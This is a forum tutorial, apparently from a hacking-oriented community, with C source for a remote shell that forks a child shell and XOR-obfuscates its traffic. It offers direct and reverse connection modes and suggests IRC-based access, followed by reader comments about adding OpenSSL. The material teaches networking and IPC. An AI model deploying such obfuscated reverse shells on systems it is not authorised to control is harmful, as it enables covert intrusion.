Remote Shells. Part II. Crypt your link

In Part I of this series we learn how to enable a very basic remote shell access to a machine. In this second part we are going to modify the code to support some level of manipulation of the data transmitted over the link. Specifically, we are going to encrypt the data stream… :o

LEVEL: Beginner

How are we going to do that?

In order to crypt our communication, we need something in front of the shell that gets the data from/to the network and crypts/decrypts it. This can be done in many different ways.

This time we have choose to launch the shell as a separated child process and use a socketpair to transfer the data received/sent through the network to the shell process. The father process will then crypt and decrypt the data going into/coming from the network/shell. This may look a bit confusing at first glance, but that is just because of my writing :).

A socketpair is just a pair of sockets that are immediately connected. Something like running the client and server code in just one system call. Conceptually they behave as a pipe but the main difference is that the sockets are bidirectional in opposition to a pipe where one of the file descriptors is read only and the other one is write only.

socketpairs are a convenient IPC (InterProcess Communication) mechanism and fits pretty well in our network oriented use case… because they are sockets after all.

Spawning a shell

Let’s start from our previous example and add a couple of functions. The first one will set up the socket pair and create a new process (using fork). Let’s take a first look to the whole function before continuing.

void
secure_shell (int s)
{
  pid_t  pid;
  int    sp[2];

  /* Create a socketpair to talk to the child process */
  if ((socketpair (AF_UNIX, SOCK_STREAM, 0, sp)) < 0)
    {
      perror ("socketpair:");
      exit (1);
    }

  /* Fork a child process */
  if ((pid = fork ()) < 0)
    {
      perror ("fork:");
      exit (1);
    }
  else
    if (!pid) /* If we are the child Process */
      {
	close (sp[1]);
	close (s);

	/* Start the shell as in part I*/
	start_shell (sp[0]);
	/* This function will never return */
      }

  /* At this point we are the father process */
  close (sp[0]);

  printf ("+ Starting async read loop\n");
  async_read (s, sp[1]);

}

First, we create a socket pair using the syscall socketpair). The last parameter is an array where we will get our pair of sockets. Obviously we can only use local sockets (AF_UNIX or AF_LOCAL they are the same) at least on GNU/Linux. As mentioned before, those sockets will be connected meaning that, what you send through one of them is received in the other, and the other way around. This is very convenient as we do not have to write all those bind, listen, accept and connect… We get all that with just one system call.

Once we have our socket pair we will create a new process using the fork syscall. The fork system call creates a new process as an identical image of the calling process, same code, same data, same open files, same sockets… The only difference between the child process and the father process is that the pid variable will be 0 for the child and will be the child pid for the father.

So we check the pid variable and if we are the child (!pid) we close the file descriptors that we do not need anymore and we just start a shell using the start_shell function from Part I, but passing as parameter one of the connected sockets returned by socketpair.

Everything from this point on is the same that with our first remote code in Part I, but instead of feeding data into our shell directly from the network, we will be sending/receiving data using the counterpart socket provided by socketpair.

Asynchronous Read

The last part of the secure_shell function is executed by the father process. It calls a function that we have named async_read. This function will do the following:

  • Whenever something is received from the network, it will decode the data and send it to the shell using the counterpart socket we have got from the socketpair system call.
  • At the same time, whenever the shell produces some output, the function will read that data, crypt it and send it through the network.

It make sense, isn’t it?. Now we just need to figure out how to implement this. Well, for instance, let’ use the select system call (we could use poll but I will reserve it for a later post).

So, this is the code for the async_read function

void
async_read (int s, int s1)
{
  fd_set         rfds;
  struct timeval tv;
  int            max = s > s1 ? s : s1;
  int            len, r;
  char           buffer[1024];

  max++;
  while (1)
    {
      FD_ZERO(&rfds);
      FD_SET(s,&rfds);
      FD_SET(s1,&rfds);

      /* Time out. */
      tv.tv_sec = 1;
      tv.tv_usec = 0;

      if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0)
	{
	  perror ("select:");
	  exit (EXIT_FAILURE);
	}
      else if (r > 0) /* If there is data to process */
	{
	  if (FD_ISSET(s, &rfds))
	    {
	      memset (buffer, 0, 1024);
	      if ((len = read (s, buffer, 1024)) <= 0) 	exit (1);
	      memfrob (buffer, len);

	      write (s1, buffer, len);
	    }
	  if (FD_ISSET(s1, &rfds))
	    {
	      memset (buffer, 0, 1024);
	      if ((len = read (s1, buffer, 1024)) <= 0) exit (1);

	      memfrob (buffer, len);
	      write (s, buffer, len);
	    }
	}
    }
}

This is a standard select loop for a network application. It is nothing really special about it, but, in case you haven’t seen one before (there is a first time for everything), here it come a brief explanation.

select let us monitor many file descriptor at once. We provide the syscall with a list of file descriptors to monitor and, whenever there is data to read, it is possible to write or an exception happen on any of them, select will let us know. Let’s see how to use it.

select requires at least 2 non-NULL parameters, and you should usually use three:

  • An integer indicating the highest-numbered file descriptor to monitor plus 1. Check the declaration of variable max to see what does that mean (note: file descriptors are just integers).
  • A File descriptor set that will contain the list of file descriptors to monitor for reading (this is the fd_set variable)
  • A timeout. When the timeout is NULL, select will block until something happens in any of the file descriptors passed as parameters. If a timeout is specified, the function will return if nothing have happened during the period of time indicated by the timeout.

The two NULL parameters are additional file descriptors sets for writing and for exceptions, but we are not going to talk about those now.

The system call returns the number of file descriptors that have data to be read (because we are only using the read file descriptor set) or 0 if the call has timed out.

For the reader convenience we repeat the code to set up the select call here.

      FD_ZERO(&rfds);
      FD_SET(s,&rfds);
      FD_SET(s1,&rfds);

      /* Time out. */
      tv.tv_sec = 1;
      tv.tv_usec = 0;

      if ((r = select (max, &rfds, NULL, NULL, &tv)) < 0)
	{
	  perror ("select:");
	  exit (EXIT_FAILURE);
	}

Before each call to select we always have to initialize the file descriptor set. This is done with two macros. FD_ZERO initializes the set. FD_SET allow us to add file descriptors to the set. In our case we have to add our network connected socket (s) and also our paired socket (s1).

The timeout is specified with a struct timeval type that gives us microseconds resolution. In our case we have set the timeout to 1 second.

At this point we can call select and wait for the data to come.

Processing the data

select tell us that we have got something in some of the file descriptors in our set, but we have to find out which one actually received the data. Again, let’s repeat the relevant code here for convenience.

	  if (FD_ISSET(s, &rfds))
	    {
	      memset (buffer, 0, 1024);
	      if ((len = read (s, buffer, 1024)) <= 0) 	exit (1);
	      memfrob (buffer, len);

	      write (s1, buffer, len);
	    }
	  if (FD_ISSET(s1, &rfds))
	    {
	      memset (buffer, 0, 1024);
	      if ((len = read (s1, buffer, 1024)) <= 0) exit (1);

	      memfrob (buffer, len);
	      write (s, buffer, len);
	    }

In the general case you will have a loop to check every file descriptor in your set. In this case we only have 2 so a couple of if will do the trick. Think about it as a loop unrolling optimization :). Yes, all right, we can make the if block into a function… But… I have to leave something for you to try :wink: (actually there is a reason for this but it is out of scope at this point)

So, if we get data in our network socket, we just read the data, decrypt it and resend it to our shell. If we get data from our shell, we read it, we crypt it and we send it back to the network client.

That’s it. The memfrob function does a XOR crypting with key (42). The greatest thing about XOR crypting is that the same function can be used for crypt and decrypt. Other than that, with a 1 byte long key (42 in this case) it is pretty useless.

A Secure Client

OK, now we have a way to receive and send crypt data from/to our shell. We need a counterpart to our program that can deal with this crypt data. No problem, we just need to make a small change to our main function, and we will be done.

The new main function looks like this:

int
main (int argc, char *argv[])
{
  /* FIXME: Check command-line arguments */
  if (argv[1][0] == 'c')
    secure_shell (client_init (argv[2], atoi(argv[3])));
  else if (argv[1][0] == 's')
    secure_shell (server_init (atoi(argv[2])));
  else if (argv[1][0] == 'a')
    async_read (client_init (argv[2], atoi(argv[3])), 0);
  else if (argv[1][0] == 'b')
    async_read (server_init (atoi(argv[2])), 0);
		  
  return 0;
}

We exploit the fact that everything on UNIX is a file descriptor. Using file descriptor 0 (that is the standard input or stdin), and our async_read function we get automatically a working secure client.

Using that trick, two additional flags had been added to launch the application as a client for direct and reverse remote shell access.

Testing again

Now, you already know how to compile your program so, let’s go straight to test our secure remote shell.

Open two terminals to run the shell and the client and also fire up your preferred sniffer. You may want to use wireshark and take advantage of its nice “Follow TCP Stream” feature. Now, start capturing traffic in the loopback interface.

In one terminal type:

$ ./rss s 5000

In the other terminal type

$ ./rss a 127.0.0.1 5000

Everything will look like our original remote shell. Just type a couple of commands and then go back to wireshark and take a look to what was sent through the network… Sure, that is how a XOR crypted shell session looks like!

NEXT

For the time being, the NEXT step I leave it to you, appreciated reader. There is a bunch of things you can try with very little modification of this small program.

  • Try to add a password to only allow authorized user access your remote shell
  • Try to use a proper crypto algorithm…openssl somebody?
  • Try to use a different communication protocol… what about using an IRC channel to access your remote shell
  • Try to access special commands in the server and not just forward everything to the shell (this is a generalization of the first point)

Let’s see what you come out with…

As usual you can find all the source code at:

Happy Hacking!

16 Likes

Quality as always pico, keep it up :slight_smile:

1 Like

Quality article Pico! I’ve been meaning to leave a comment the last couple of days, and I’ve finally got around to it.

I’m so glad we have found you, you really are a valuable asset. These articles are very high quality :wink:

Grade A! Love it :smiley:

I’ll take the challenge for the proper encryption ^^
Was thinking of PGP. I’ll see if I can make that work, It’s about time to learn some encryption.

Also thanks for sharing the meaning of life :wink:
I couldnt find the 42 anywhere in the source though.

EDIT: Oops, I should check man pages before asking stupid questions ^^

EDIT2: Ended up learning Cryptography, gonna take a while for the PGP encrypted version.

2 Likes

Thanks everybody for the positive feedback!

1 Like

I’m going to have to read this a few times…

1 Like

Yeah… I know… my English is not the best

No your english is great! It’s the pure complexity that I think the reason why Oaktree will have to re-read this a few times! I think I will have to re-read this a few times myself!

1 Like

OpenSSL is more complex then I thought.
I was trying to do a copy-pasta, no clue how it works version, but it was no good.
Currently learning the OpenSSL protocol.
If I use OpenSSL, I don’t need the fork and childprocess right?

True… OpenSSL is not easy and the documentation is not the best either.

Regarding the forking I have to check but I think you have to use the openSSL functions to read/write crypt data. I do not think that just a dup2 will work.

Yeah I meant that it’s kinda complex.

dup2 does work, you can use BIO/SSL_get_fd and BIO/SSL_set_fd

As far as I understood how it works, you indeed have a socket at the very end to send/receive the data through the network, but it looks like OpenSSL works on top of the the socket. According to the examples I checked, you need to call BIO/SSL_write and BIO/SSL_read to crypt and decrypt.

I think that if you just dup the underlying file descriptor you will be sending the crypt data (received from the network) to the shell. If that is correct, the code should be similar to the one in this post, but instead of calling write and read on the network socket (within async_read) you will have to call SSL_write and SSL_read.

SSL_get_fd and SSL_set_fd will be needed to setup the select fd sets and manage the accept call and so on.

I think it works like that, but I haven’t tried myself. Anyhow, looks like you are getting there. I’m looking forward to see your implementation!

Yes I already got to that part and got the client side encrypted. However setting up the server side is a whole different story it seems. I found good documentation on the server side lacking and am currently researching. This is the reason I decided to learn OpenSSL from the ground up. I’ll try throwing something together first a la ‘I don’t know why, but it works’.

http://www.ibm.com/developerworks/library/l-openssl/ - tutorial, set up a client
https://www.openssl.org/docs/manmaster/ - man pages for OpenSSL
Are some interesting sites for anyone that’s interested in OpenSSL programming.

1 Like

Nope you were right after all, dup2 doesn’t seem to be possible :sweat_smile:
I’m continuing this journey :relieved:

1 Like

This topic was automatically closed after 30 days. New replies are no longer allowed.